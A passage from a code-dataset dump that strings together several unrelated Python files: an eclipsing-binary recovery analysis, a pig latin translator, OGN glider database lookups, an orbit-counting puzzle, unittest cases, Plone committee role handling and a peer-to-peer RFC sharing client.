np.histogram(np.ma.log10(obs[\"p\"].values).filled(-999), bins=lpbins)\n\t\t\t\t\t\tdhObs0, db = np.histogram(obs[\"d\"], bins=dbins)\n\t\t\t\t\t\tmaghObs0, magb = np.histogram(obs[\"appMagMean_r\"], bins=magbins)\n\t\t\t\t\t\trhObs0, rb = np.histogram(obs[\"r2\"]/obs[\"r1\"], bins=rbins)\n\t\t\t\t\t\tm1hObs += m1hObs0/Nall*Nmult\n\t\t\t\t\t\tqhObs += qhObs0/Nall*Nmult\n\t\t\t\t\t\tehObs += ehObs0/Nall*Nmult\n\t\t\t\t\t\tlphObs += lphObs0/Nall*Nmult\n\t\t\t\t\t\tdhObs += dhObs0/Nall*Nmult\n\t\t\t\t\t\tmaghObs += maghObs0/Nall*Nmult\n\t\t\t\t\t\trhObs += rhObs0/Nall*Nmult\n\n\t\t\t\t\t\t#Rec\n\t\t\t\t\t\trecCombined = pd.DataFrame()\n\t\t\t\t\t\tprsaRecCombined = pd.DataFrame()\n\t\t\t\t\t\tfor filt in filters:\n\t\t\t\t\t\t\tkey = filt+'LSS_PERIOD'\n\t\t\t\t\t\t\tif (filt == 'all'):\n\t\t\t\t\t\t\t\tkey = 'LSM_PERIOD'\n\t\t\t\t\t\t\tfullP = abs(data[key] - data['p'])/data['p']\n\t\t\t\t\t\t\thalfP = abs(data[key] - 0.5*data['p'])/(0.5*data['p'])\n\t\t\t\t\t\t\ttwiceP = abs(data[key] - 2.*data['p'])/(2.*data['p'])\n\t\t\t\t\t\t\trec = data.loc[(data[key] != -999) & ((fullP < Pcut) | (halfP < Pcut) | (twiceP < Pcut))]\n\t\t\t\t\t\t\tprsaRec = data.loc[(data['p'] < 1000) & (data['p'] >0.5) & (data['LSM_PERIOD'] != -999) & ((fullP < Pcut) | (halfP < Pcut) | (twiceP < Pcut))]\n\t\t\t\t\t\t\tNrec = len(rec.index)\n\n\t\t\t\t\t\t\t#I'd like to account for all filters here to have more accurate numbers\n\t\t\t\t\t\t\trecCombined = recCombined.append(rec)\n\t\t\t\t\t\t\tprsaRecCombined = prsaRecCombined.append(prsaRec)\n\n\t\t\t\t\t\t\t# Going to use prsaRecCombined for ecc-p plots to account for all filters\n\t\t\t\t\t\t\teccRec.append(prsaRec['e'].values)\n\t\t\t\t\t\t\tpRec.append(prsaRec['p'].values)\n\t\t\t\t\t\t\tiRec.append(prsaRec['i'].values)\n\t\t\t\t\t\t\tm1Rec.append(prsaRec['m1'].values)\n\t\t\t\t\t\t\tm2Rec.append(prsaRec['m2'].values)\n\t\t\t\t\t\t\tr1Rec.append(prsaRec['r1'].values)\n\t\t\t\t\t\t\tr2Rec.append(prsaRec['r2'].values)\n\t\t\t\t\t\t\tmagRec.append(prsaRec['appMagMean_r'].values)\n\n\t\t\t\t\t\t\t# writeCornerFiles(prsaRec, ['p', 'm1', 'm2', 'r1', 'r2', 'e', 'i', 'appMagMean_r'], 'rec', 'M67','B','N')\n\n\t\t\t\t\t\t\t# White dwarf appending\n\t\t\t\t\t\t\tprsaRecWD = data.loc[(data['p'] < 1000) & (data['p'] > 0.5) & (data['LSM_PERIOD'] != -999)\n\t\t\t\t\t\t\t\t\t\t\t\t& ((fullP < Pcut) | (halfP < Pcut) | (twiceP < Pcut))\n\t\t\t\t\t\t\t\t\t\t\t\t& (self.log_g(data['m1'], data['r1']) > 7.0) & (self.log_g(data['m2'], data['r2']) > 7.0)]\n\t\t\t\t\t\t\tself.rec_WD.append(prsaRecWD)\n\n\n\t\t\t\t\t\t\tif (filt == 'all'):\n\t\t\t\t\t\t\t\trecCombined.drop_duplicates(inplace=True)\n\t\t\t\t\t\t\t\tprsaRecCombined.drop_duplicates(inplace=True)\n\n\t\t\t\t\t\t\tif (Nrec >= Nlim):\n\t\t\t\t\t\t\t\tm1hRec0, m1b = np.histogram(rec[\"m1\"], bins=mbins)\n\t\t\t\t\t\t\t\tqhRec0, qb = np.histogram(rec[\"m2\"]/rec[\"m1\"], bins=qbins)\n\t\t\t\t\t\t\t\tehRec0, eb = np.histogram(rec[\"e\"], bins=ebins)\n\t\t\t\t\t\t\t\tlphRec0, lpb = np.histogram(np.ma.log10(rec[\"p\"].values).filled(-999), bins=lpbins)\n\t\t\t\t\t\t\t\tdhRec0, db = np.histogram(rec[\"d\"], bins=dbins)\n\t\t\t\t\t\t\t\tmaghRec0, magb = np.histogram(rec[\"appMagMean_r\"], bins=magbins)\n\t\t\t\t\t\t\t\trhRec0, rb = np.histogram(rec[\"r2\"]/rec[\"r1\"], bins=rbins)\n\t\t\t\t\t\t\t\tm1hRec[filt] += m1hRec0/Nall*Nmult\n\t\t\t\t\t\t\t\tqhRec[filt] += qhRec0/Nall*Nmult\n\t\t\t\t\t\t\t\tehRec[filt] += ehRec0/Nall*Nmult\n\t\t\t\t\t\t\t\tlphRec[filt] += lphRec0/Nall*Nmult\n\t\t\t\t\t\t\t\tdhRec[filt] += dhRec0/Nall*Nmult\n\t\t\t\t\t\t\t\tmaghRec[filt] += maghRec0/Nall*Nmult\n\t\t\t\t\t\t\t\trhRec[filt] += rhRec0/Nall*Nmult\n\n\t\t\t\t\t\t\t\t#for the mollweide\n\t\t\t\t\t\t\t\tif (filt == 'all'):\n\t\t\t\t\t\t\t\t\tNrec = len(recCombined.index)\n\t\t\t\t\t\t\t\t\trF = Nrec/Nall\n\t\t\t\t\t\t\t\t\trN = Nrec/Nall*Nmult\n\t\t\t\t\t\t\t\t\traN = Nmult\n\t\t\t\t\t\t\t\t\tobN = Nobs/Nall*Nmult\n\t\t\t\t\t\t\t\t\tfiN = Nall\n\t\t\t\t\t\t\t\t\tfioN = Nobs\n\t\t\t\t\t\t\t\t\tfirN = Nrec\n\n\t\t\t\t\t\t\t\t\tNrecPrsa = len(prsaRecCombined.index)\n\t\t\t\t\t\t\t\t\tNrecPrsa = NrecPrsa/Nall*Nmult\n\t\t\t\t\t\t\t\t\tNobsPrsa = NobsPrsa/Nall*Nmult\n\t\t\t\t\t\t\t\t\tNallPrsa = NallPrsa/Nall*Nmult\t\t\n\n\n\n\t\t\t\trecFrac.append(rF)\n\t\t\t\trecN.append(rN)\n\t\t\t\trawN.append(raN)\n\t\t\t\tobsN.append(obN)\n\t\t\t\tfileN.append(fiN)\n\t\t\t\tfileObsN.append(fioN)\n\t\t\t\tfileRecN.append(firN)\n\t\t\t\tallNPrsa.append(NallPrsa)\n\t\t\t\tobsNPrsa.append(NobsPrsa)\n\t\t\t\trecNPrsa.append(NrecPrsa)\n\t\t\t\t#print(np.sum(lphRec), np.sum(recN), np.sum(lphRec)/np.sum(recN), np.sum(lphRec0), Nrec, np.sum(lphRec0)/Nrec, np.sum(lphObs), np.sum(obsN), np.sum(lphObs)/np.sum(obsN))\n\n\t\t# Concatenating param lists for 2D histograms -- eccentricity 1st (all 3 subpopulations)\n\t\teccAll = np.concatenate(eccAll)\n\t\teccObs = np.concatenate(eccObs)\n\t\teccRec = np.concatenate(eccRec)\n\n\t\t# period\n\t\tpAll = np.concatenate(pAll)\n\t\tpObs = np.concatenate(pObs)\n\t\tpRec = np.concatenate(pRec)\n\n\t\t# Inclination\n\t\tiAll = np.concatenate(iAll)\n\t\tiObs = np.concatenate(iObs)\n\t\tiRec = np.concatenate(iRec)\n\n\t\t# Mass 1\n\t\tm1All = np.concatenate(m1All)\n\t\tm1Obs = np.concatenate(m1Obs)\n\t\tm1Rec = np.concatenate(m1Rec)\n\n\t\t# Mass 2\n\t\tm2All = np.concatenate(m2All)\n\t\tm2Obs = np.concatenate(m2Obs)\n\t\tm2Rec = np.concatenate(m2Rec)\n\n\t\t# Radius 1\n\t\tr1All = np.concatenate(r1All)\n\t\tr1Obs = np.concatenate(r1Obs)\n\t\tr1Rec = np.concatenate(r1Rec)\n\n\t\t# Radius 2\n\t\tr2All = np.concatenate(r2All)\n\t\tr2Obs = np.concatenate(r2Obs)\n\t\tr2Rec = np.concatenate(r2Rec)\t\n\n\t\t# Apparent Magnitude\n\t\tmagAll = np.concatenate(magAll)\n\t\tmagObs = np.concatenate(magObs)\n\t\tmagRec = np.concatenate(magRec)\t\n\n\n\t\t# # print('Ecc lists:', eccAll, eccObs, eccRec)\n\t\t# # print('P lists:', pAll, pObs, pRec)\n\t\t# Appending lists with all the p/ecc values to our dataframes\n\t\t# All dataframe\n\t\tAll['e'] = eccAll\n\t\tAll['p'] = pAll\n\t\tAll['i'] = iAll\n\t\tAll['m1'] = m1All\n\t\tAll['m2'] = m2All\n\t\tAll['r1'] = r1All\n\t\tAll['r2'] = r2All\n\t\tAll['appMagMean_r'] = magAll\n\n\t\t# Observable dataframe\n\t\tObs['e'] = eccObs\n\t\tObs['p'] = pObs\n\t\tObs['i'] = iObs\n\t\tObs['m1'] = m1Obs\n\t\tObs['m2'] = m2Obs\n\t\tObs['r1'] = r1Obs\n\t\tObs['r2'] = r2Obs\n\t\tObs['appMagMean_r'] = magObs\n\n\t\t# Recovered dataframe\n\t\tRec['e'] = eccRec\n\t\tRec['p'] = pRec\n\t\tRec['i'] = iRec\n\t\tRec['m1'] = m1Rec\n\t\tRec['m2'] = m2Rec\n\t\tRec['r1'] = r1Rec\n\t\tRec['r2'] = r2Rec\n\t\tRec['appMagMean_r'] = magRec\n\n\t\tself.csv_cols = ['p', 'm1', 'm2', 'r1', 'r2', 'e', 'i', 'appMagMean_r']\n\n\t\t# 3 letter code corresponds to scenario (OC/GC, baseline/colossus, crowding/no crowding)\n\t\tAll.to_csv(self.path + f'/data/all-{self.clusterType}{self.strategy}{self.crowding}-histData.csv', header = self.csv_cols)\n\t\tObs.to_csv(self.path + f'/data/obs-{self.clusterType}{self.strategy}{self.crowding}-histData.csv', header = self.csv_cols)\n\t\tRec.to_csv(self.path + f'/data/rec-{self.clusterType}{self.strategy}{self.crowding}-histData.csv', header = self.csv_cols)\n\n\t\tif self.searchWDs is True:\n\t\t\tprint('FOO FOO FOO')\n\t\t\t# Appending WD dataframes \n\t\t\tWDall = pd.concat(self.all_WD)\n\t\t\tWDobs = pd.concat(self.obs_WD)\n\t\t\tWDrec = pd.concat(self.rec_WD)\n\n\t\t\t# Only want certain columns from df\n\t\t\tWDall = WDall[self.csv_cols]\n\t\t\tWDobs = WDobs[self.csv_cols]\n\t\t\tWDrec = WDrec[self.scsv_cols]\n\n\t\t\tprint('White Dwarf Candidates: ', WDall, WDobs, WDrec)\n\n\t\t\tWDall.to_csv(self.path + f'data/wd/all-{self.clusterType}{self.strategy}{self.crowding}-WD-histData.csv', header = self.csv_cols)\n\t\t\tWDobs.to_csv(self.path + f'data/wd/obs-{self.clusterType}{self.strategy}{self.crowding}-WD-histData.csv', header = self.csv_cols)\n\t\t\tWDrec.to_csv(self.path + f'data/wd/rec-{self.clusterType}{self.strategy}{self.crowding}-WD-histData.csv', header = self.csv_cols)\n\n\t\t#plot and save the histograms\n\t\tself.saveHist(m1hAll, m1hObs, m1hRec, m1b, 'm1 (Msolar)', 'EBLSST_m1hist')\n\t\tself.saveHist(qhAll, qhObs, qhRec, qb, 'q (m2/m1)', 'EBLSST_qhist')\n\t\tself.saveHist(ehAll, ehObs, ehRec, eb, 'e', 'EBLSST_ehist')\n\t\tself.saveHist(lphAll, lphObs, lphRec, lpb, 'log(P [days])', 'EBLSST_lphist')\n\t\tself.saveHist(dhAll, dhObs, dhRec, db, 'd (kpc)', 'EBLSST_dhist')\n\t\tself.saveHist(maghAll, maghObs, maghRec, magb, 'mag', 'EBLSST_maghist')\n\t\tself.saveHist(rhAll, rhObs, rhRec, rb, 'r2/r1', 'EBLSST_rhist')\n\n\n\t\t#make the mollweide\n\t\tcoords = SkyCoord(RA, Dec, unit=(units.degree, units.degree),frame='icrs')\t\n\t\tlGal = coords.galactic.l.wrap_at(180.*units.degree).degree\n\t\tbGal = coords.galactic.b.wrap_at(180.*units.degree).degree\n\t\tRAwrap = coords.ra.wrap_at(180.*units.degree).degree\n\t\tDecwrap = coords.dec.wrap_at(180.*units.degree).degree\n\n\t\tf, ax = plt.subplots(subplot_kw={'projection': \"mollweide\"}, figsize=(8,5))\n\t\tax.grid(True)\n\t\t#ax.set_xlabel(r\"$l$\",fontsize=16)\n\t\t#ax.set_ylabel(r\"$b$\",fontsize=16)\n\t\t#mlw = ax.scatter(lGal.ravel()*np.pi/180., bGal.ravel()*np.pi/180., c=np.log10(np.array(recFrac)*100.), cmap='viridis_r', s = 4)\n\t\tax.set_xlabel(\"RA\",fontsize=16)\n\t\tax.set_ylabel(\"Dec\",fontsize=16)\n\t\tmlw = ax.scatter(np.array(RAwrap).ravel()*np.pi/180., np.array(Decwrap).ravel()*np.pi/180., c=np.array(recFrac)*100., cmap='viridis_r', s = 4)\n\t\tcbar = f.colorbar(mlw, shrink=0.7)\n\t\tcbar.set_label(r'% recovered')\n\t\tf.savefig(self.path + '/plots/analyse_plots/' + 'mollweide_pct.pdf',format='pdf', bbox_inches = 'tight')\n\n\t\tf, ax = plt.subplots(subplot_kw={'projection': \"mollweide\"}, figsize=(8,5))\n\t\tax.grid(True)\n\t\t#ax.set_xlabel(r\"$l$\",fontsize=16)\n\t\t#ax.set_ylabel(r\"$b$\",fontsize=16)\n\t\t#mlw = ax.scatter(lGal.ravel()*np.pi/180., bGal.ravel()*np.pi/180., c=np.log10(np.array(recN)), cmap='viridis_r', s = 4)\n\t\tax.set_xlabel(\"RA\",fontsize=16)\n\t\tax.set_ylabel(\"Dec\",fontsize=16)\n\t\tmlw = ax.scatter(np.array(RAwrap).ravel()*np.pi/180., np.array(Decwrap).ravel()*np.pi/180., c=np.log10(np.array(recN)), cmap='viridis_r', s = 4)\n\t\tcbar = f.colorbar(mlw, shrink=0.7)\n\t\tcbar.set_label(r'log10(N) recovered')\n\t\tf.savefig(self.path + '/plots/analyse_plots/' + 'mollweide_N.pdf',format='pdf', bbox_inches = 'tight')\n\n\t\tif (doIndividualPlots):\n\t\t\tfmass.savefig(self.path + '/plots/analyse_plots/' + 'massPDFall.pdf',format='pdf', bbox_inches = 'tight')\n\t\t\tfqrat.savefig(self.path + '/plots/analyse_plots/' + 'qPDFall.pdf',format='pdf', bbox_inches = 'tight')\n\t\t\tfecc.savefig(self.path + '/plots/analyse_plots/' + 'eccPDFall.pdf',format='pdf', bbox_inches = 'tight')\n\t\t\tflper.savefig(self.path + '/plots/analyse_plots/' + 'lperPDFall.pdf',format='pdf', bbox_inches = 'tight')\n\t\t\tfdist.savefig(self.path + '/plots/analyse_plots/' + 'distPDFall.pdf',format='pdf', bbox_inches = 'tight')\n\t\t\tfmag.savefig(self.path + '/plots/analyse_plots/' + 'magPDFall.pdf',format='pdf', bbox_inches = 'tight')\n\t\t\tfrad.savefig(self.path + '/plots/analyse_plots/' + 'radPDFall.pdf',format='pdf', bbox_inches = 'tight')\n\n\t\tprint(\"###################\")\n\t\tprint(\"number of binaries in input files (raw, log):\",np.sum(fileN), np.log10(np.sum(fileN)))\n\t\tprint(\"number of binaries in tested with gatspy (raw, log):\",np.sum(fileObsN), np.log10(np.sum(fileObsN)))\n\t\tprint(\"number of binaries in recovered with gatspy (raw, log):\",np.sum(fileRecN), np.log10(np.sum(fileRecN)))\n\t\tprint(\"recovered/observable*100 with gatspy:\",np.sum(fileRecN)/np.sum(fileObsN)*100.)\n\t\tprint(\"###################\")\n\t\tprint(\"total in sample (raw, log):\",np.sum(rawN), np.log10(np.sum(rawN)))\n\t\tprint(\"total observable (raw, log):\",np.sum(obsN), np.log10(np.sum(obsN)))\n\t\tprint(\"total recovered (raw, log):\",np.sum(recN), np.log10(np.sum(recN)))\n\t\tprint(\"recovered/observable*100:\",np.sum(recN)/np.sum(obsN)*100.)\n\t\tprint(\"###################\")\n\t\tprint(\"total in Prsa 15.8 -1, row)\n if sum(found) > 0:\n c += 1\n return c\n\nif __name__ == '__main__':\n print(\"Counting records in '%s' with '%s'...\" % (CSV_PATH, SEARCH_STRING))\n c = count(SEARCH_STRING)\n print(\"Result: %d\" % c)\n","sub_path":"single_malt_qry.py","file_name":"single_malt_qry.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"630746441","text":"class Changer():\n vowels = list(\"aeiouAEIOU\")\n\n def __init__(self, original):\n self.original = original.split(\" \")\n\n def decode(self):\n final = []\n for item in self.original:\n result = str(item)\n if result.endswith(\"way\"):\n if result[0] in self.vowels:\n result = result[:-3]\n else:\n result = result[:-2]\n else:\n result = result[:-2]\n result = result[-1] + result[:-1]\n final.append(result)\n return \" \".join(final)\n\n def translate(self):\n final = []\n for item in self.original:\n result = str(item)\n if result == \"i\" or item == \"I\":\n result = result + \"w\" + \"ay\"\n elif result[0] in self.vowels:\n result = result + \"way\"\n else:\n result = result[1:] + result[0] + \"ay\"\n final.append(result)\n return \" \".join(final)\n","sub_path":"pyg_changer.py","file_name":"pyg_changer.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"116598771","text":"#!/usr/bin/python3\nimport json\nimport urllib.request, urllib.error, urllib.parse\nglobal _ogninfo_ # the OGN info data\n_ogninfo_ = {} # the OGN info data\n####################################################################\n\n\ndef getddbdata(): # get the data from the API server\n\n global _ogninfo_ # the OGN info data\n url = \"http://ddb.glidernet.org/download/?j=1\" # the OGN DDB source\n req = urllib.request.Request(url)\n req.add_header(\"Accept\", \"application/json\") # it return a JSON string\n req.add_header(\"Content-Type\", \"application/hal+json\")\n r = urllib.request.urlopen(req) # open the url resource\n js=r.read().decode('UTF-8')\n j_obj = json.loads(js) # convert to JSON\n\n _ogninfo_ = j_obj # save the data on the global storage\n return j_obj # return the JSON objecta\n\ndef getognreg(flarmid ): # get the ogn registration from the flarmID\n\n global _ogninfo_ # the OGN info data\n if len(_ogninfo_) == 0:\n _ogninfo_=getddbdata()\n devices=_ogninfo_[\"devices\"] # access to the ddbdata\n for dev in devices: # loop into the registrations\n if dev[\"device_id\"] == flarmid: # if matches ??\n return dev[\"registration\"] # return the registration\n\n return \"NOReg \" #if not found !!!\n\n\ndef getognchk(flarmid): # Check if the FlarmID exist or NOT\n\n global _ogninfo_ # the OGN info data\n if len(_ogninfo_) == 0:\n _ogninfo_ = getddbdata() # get the table from OGN DDB\n devices = _ogninfo_[\"devices\"] # access to the ddbdata\n for dev in devices: # loop into the devices\n if dev[\"device_id\"] == flarmid: # if matches ??\n return True\n\n return False\n\n\ndef getognflarmid(registration): # get the FlarmID based on the registration\n\n global _ogninfo_ # the OGN info data\n if len(_ogninfo_) == 0:\n _ogninfo_ = getddbdata()\n devices = _ogninfo_[\"devices\"] # access to the ddbdata\n for dev in devices: # loop into the registrations\n if dev[\"registration\"] == registration: # if matches ??\n if dev['device_type'] == \"F\":\n dvce = \"FLR\"+dev['device_id']\n elif dev['device_type'] == \"I\":\n dvce = \"ICA\"+dev['device_id']\n elif dev['device_type'] == \"O\":\n dvce = \"OGN\"+dev['device_id']\n else:\n dvce = \"UNK\"+dev['device_id']\n\n return dvce # return the flarmID\n\n return \"NOFlarm\" # if not found !!!\n\n\ndef getogncn(flarmid): # get the ogn competition ID from the flarmID\n\n global _ogninfo_ # the OGN info data\n if len(_ogninfo_) == 0:\n _ogninfo_ = getddbdata()\n devices = _ogninfo_[\"devices\"] # access to the ddbdata\n for dev in devices: # loop into the compet\n if dev[\"device_id\"] == flarmid: # if matches ??\n return dev[\"cn\"] # return the competitionID\n\n return \"NID\" # if not found !!!\n\ndef getognmodel(flarmid): # get the ogn aircraft model from the flarmID\n\n global _ogninfo_ # the OGN info data\n if len(_ogninfo_) == 0:\n _ogninfo_ = getddbdata()\n devices = _ogninfo_[\"devices\"] # access to the ddbdata\n for dev in devices: # loop into the registrations\n if dev[\"device_id\"] == flarmid: # if matches ??\n return dev[\"aircraft_model\"] #return the aircraft model\n\n return \"NoModel\" # if not found !!!\n\n###################################################################\n","sub_path":"ognddbfuncs.py","file_name":"ognddbfuncs.py","file_ext":"py","file_size_in_byte":4084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"562388709","text":"orbits = open(\"input.txt\",\"r\").read().split(\"\\n\")\norbit_dict = dict()\nin_orbit = set()\nfor orbit in orbits:\n if orbit!='':\n planet_1 = orbit.split(\")\")[0]\n planet_2 = orbit.split(\")\")[1]\n if planet_1 not in orbit_dict:\n orbit_dict[planet_1] = []\n orbit_dict[planet_1].append(planet_2)\n in_orbit.add(planet_2)\n \nleafs = [x for x in orbit_dict.keys() if x not in in_orbit]\ntotal = 0\nfor leaf in leafs:\n stack = []\n stack.append((0,leaf))\n while len(stack)>0:\n planet_ = stack.pop()\n planet = planet_[1]\n depth = planet_[0]\n total+=depth\n if planet in orbit_dict:\n for orbit_planet in orbit_dict[planet]:\n stack.append((depth+1,orbit_planet))\nprint(total)\n","sub_path":"advent_of_code/2019/6/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"610127222","text":"\"\"\"\ntestComposable.py: performs simple tests of composable functions.\n\"\"\"\nimport unittest\nfrom composable import Composable\n\ndef reverse(s):\n \"Reverses a string using negative-stride sequencing\"\n return s[::-1]\n\ndef square(x):\n \"Multiplies a number by itself.\"\n return x * x\n\nclass ComposableTestCase(unittest.TestCase):\n \n def testInverse(self):\n reverser = Composable(reverse)\n nulltran = reverser * reverser\n flipped = reverser ** 5\n testSet = (\"\", \"a\", \"0123456789\", \"abcdefghijklmnopqrstuvwxyz\")\n for s in testSet:\n self.assertEqual(nulltran(s), s)\n for s in testSet:\n self.assertEqual(flipped(s), reverse(s))\n \n \n def testSquare(self):\n squarer = Composable(square)\n po4 = squarer * square\n for v, r in ((1, 1), (2, 16), (3, 81)):\n self.assertEqual(po4(v), r)\n po16 = squarer ** 4\n for v, r in ((1, 1), (2, 65536), (3, 43046721)):\n self.assertEqual(po16(v), r)\n \n def testExceptions(self):\n fc = Composable(square)\n with self.assertRaises(TypeError):\n fc = fc * 3\n with self.assertRaises(TypeError):\n fc = square * fc\n with self.assertRaises(TypeError):\n fc = fc ** \"16\"\n with self.assertRaises(ValueError):\n fc = fc ** -2\n \n \nif __name__ == \"__main__\":\n unittest.main()","sub_path":"Lesson 01 - Further with Functions/testComposable.py","file_name":"testComposable.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"264384077","text":"class CommitteeRoles(object):\n \"\"\"Sets local roles committees for a principal.\n\n Preserves other roles that are set for the principal.\n\n There is currently one special role CommitteeGroupMember. This role will\n be added as local role on a committee for the group that can be selected\n in the add/edit forms.\n\n \"\"\"\n managed_roles = ('CommitteeGroupMember',)\n\n def __init__(self, committee):\n self.context = committee\n\n def _add_managed_local_roles(self, principal):\n \"\"\"Add managed roles to context for principal.\"\"\"\n\n self.context.manage_addLocalRoles(principal, self.managed_roles)\n\n def _drop_managed_local_roles(self, principal):\n \"\"\"Removes managed roles from context but preserves other, manually\n added roles for principal.\n\n \"\"\"\n current_roles = dict(self.context.get_local_roles()).get(principal, ())\n new_roles = list(set([role for role in current_roles\n if role not in self.managed_roles]))\n if new_roles:\n self.context.manage_setLocalRoles(principal, new_roles)\n else:\n self.context.manage_delLocalRoles([principal])\n\n def initialize(self, principal):\n \"\"\"Initialize local roles by adding managed roles for principal.\"\"\"\n\n if not principal:\n return\n\n self._add_managed_local_roles(principal)\n self.context.reindexObjectSecurity()\n\n def update(self, principal, previous_principal):\n \"\"\"Update local roles by adding managed roles for principal and dropping\n managed roles for previous_principal.\n\n \"\"\"\n if principal == previous_principal:\n return\n\n if previous_principal:\n self._drop_managed_local_roles(previous_principal)\n self._add_managed_local_roles(principal)\n self.context.reindexObjectSecurity()\n","sub_path":"opengever/meeting/committeeroles.py","file_name":"committeeroles.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"624960345","text":"import socket\nimport time\nimport platform\nimport os\nimport pickle\nimport random\nfrom _thread import *\nimport threading\nimport sys\nimport Simple_FTP_receiver\nimport Simple_FTP_sender\n\nrcv_rfc_num = '' #record rfc_num for rdt_recv()\nrcv_rfc_title = ''\n\ndef get_filename(rfc_num):\n global rcv_rfc_title\n OS = platform.system()\n if OS == \"Windows\": # determine rfc path for two different system\n rfc_path = \"\\\\rfc\\\\\"\n else:\n rfc_path = \"/rfc/\"\n files = os.listdir(os.getcwd() + rfc_path)\n m = rfc_num.split()\n rfc_num = \"\".join(m)\n for item in files:\n if str(rfc_num) in item:\n return rfc_path + item\n return rfc_path + \"rfc\" + str(rfc_num) + \", \" +str(rcv_rfc_title)+\".pdf\"\n\ndef p2p_get_request(rfc_num, peer_host, peer_upload_port):\n global upload_socket\n global rcv_rfc_num\n rcv_rfc_num = rfc_num \n data = p2p_request_message(rfc_num, socket.gethostname())\n data = pickle.dumps(data)\n upload_socket.sendto(data,(peer_host, int(peer_upload_port)))\n\n# display p2p response message\ndef p2p_response_message(filename): # the parameter \"rfc_num\" should be str\n current_time = time.strftime(\"%a, %d %b %Y %X %Z\", time.localtime())\n OS = platform.system()\n if os.path.exists(os.getcwd()+filename) == False:\n status = \"404\"\n phrase = \"Not Found\"\n message = \"P2P-CI/1.0 \"+ status + \" \"+ phrase + \"\\n\"\\\n \"Date:\" + current_time + \"\\n\"\\\n \"OS: \"+str(OS)+\"\\n\"\n else:\n status = \"200\"\n phrase = \"OK\"\n last_modified = time.ctime(os.path.getmtime(os.getcwd()+filename))\n content_length = os.path.getsize(os.getcwd()+filename)\n message = [\"P2P-CI/1.0 \"+ status + \" \"+ phrase + \"\\n\"\\\n \"Date: \" + current_time + \"\\n\"\\\n \"OS: \" + str(OS)+\"\\n\"\\\n \"Last-Modified: \" + last_modified + \"\\n\"\\\n \"Content-Length: \" + str(content_length) + \"\\n\"\\\n \"Content-Type: text/text \\n\"]\n #+ str(data)\n\n return message, filename\n\n# display p2p request message\ndef p2p_request_message(rfc_num, host):\n OS = platform.platform()\n message = \"GET RFC \"+str(rfc_num)+\" P2P-CI/1.0 \\n\"\\\n \"Host: \"+str(host)+\"\\n\"\\\n \"OS: \"+str(OS)+\"\\n\"\n return message\n\n\n# display p2s request message for ADD method\ndef p2s_add_message(rfc_num, host, port, title): # for ADD\n message = \"ADD\" + \" RFC \" + str(rfc_num)+\" P2P-CI/1.0 \\n\"\\\n \"Host: \" + str(host)+\"\\n\"\\\n \"Port: \" + str(port)+\"\\n\"\\\n \"Title: \" + str(title)+\"\\n\"\n return [message, rfc_num, host, port, title]\n\n\n# display p2s request message for LOOKUP method\ndef p2s_lookup_message(rfc_num, host, port, title, get_or_lookup): # LOOKUP method\n message = \"LOOKUP\" + \" RFC \" + str(rfc_num)+\" P2P-CI/1.0 \\n\"\\\n \"Host: \" + str(host)+\"\\n\"\\\n \"Port: \" + str(port)+\"\\n\"\\\n \"Title: \" + str(title)+\"\\n\"\n return [message, rfc_num, get_or_lookup]\n\n\n#display p2s request message for LIST methods\ndef p2s_list_request(host, port):\n message = \"LIST ALL P2P-CI/1.0 \\n\"\\\n \"Host: \"+str(host)+\"\\n\"\\\n \"Port: \"+str(port)+\"\\n\"\n return message\n\n\n#get the list of the local rfcs\ndef get_local_rfcs():\n rfcs_path = os.getcwd() + \"/rfc\"\n rfcs_num = [num[num.find(\"c\")+1:num.find(\",\")] for num in os.listdir(rfcs_path) if 'rfc' in num]\n return rfcs_num\n\ndef get_local_rfcs_title():\n rfcs_path = os.getcwd() + \"/rfc\"\n rfcs_title = [title[title.find(\" \")+1:title.find(\".\")] for title in os.listdir(rfcs_path) if 'rfc' in title]\n return rfcs_title\n\n#pass peer's hostname, port number and rfc_num, rfc_title\ndef peer_information():\n keys = [\"RFC Number\", \"RFC Title\"]\n rfcs_num = get_local_rfcs()\n rfcs_title = get_local_rfcs_title() \n for num, title in zip(rfcs_num, rfcs_title):\n entry = [num, title]\n dict_list_of_rfcs.insert(0, dict(zip(keys, entry)))\n return [upload_port_num, dict_list_of_rfcs] # [port, rfcs_num, rfcs_title]\n\n\nupload_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n#print(\"UPLOAD PORT: \", upload_port_num)\nupload_port_num = 65000+random.randint(1, 500) # generate a upload port randomly in 65000~65500\nupload_socket.bind(('', upload_port_num))\ndict_list_of_rfcs = [] # list of dictionaries of RFC numbers and Titles.\ns=socket.socket() # Create a socket object\n#s.setsockopt(socket.SOL_SOCKET, socket.SO_RESUEDADDR, 1)\nhost = socket.gethostname() # Get local machine name\n#host = \"10.139.62.163\"\nport = 7734 # Reserve a port for your service.\ns.connect((host, port))\n#data = pickle.dumps(peer_information()) # send all the peer information to server\ndata = pickle.dump(peer_information(), s.makefile(\"wb\"))\n#s.send(data)\ndata = s.recv(1024)\nprint(data.decode('utf-8'))\ns.close\n\n\ndef print_combined_list(dictionary_list, keys):\n for item in dictionary_list:\n print(' '.join([item[key] for key in keys]))\n\ndef get_user_input(strr, i):\n global upload_port_num\n user_input = input(\"> Enter ADD, LIST, LOOKUP, GET, or EXIT: \\n\")\n if user_input == \"EXIT\":\n data = pickle.dumps(\"EXIT\")\n s.send(data)\n s.close # Close the socket when done\n os._exit(1)\n elif user_input == \"ADD\":\n user_input_rfc_number = input(\"> Enter the RFC Number: \")\n user_input_rfc_title = input(\"> Enter the RFC Title: \")\n data = pickle.dumps(p2s_add_message(user_input_rfc_number, socket.gethostname(), upload_port_num, user_input_rfc_title))\n s.send(data)\n server_data = s.recv(1024)\n print(server_data.decode('utf-8'))\n 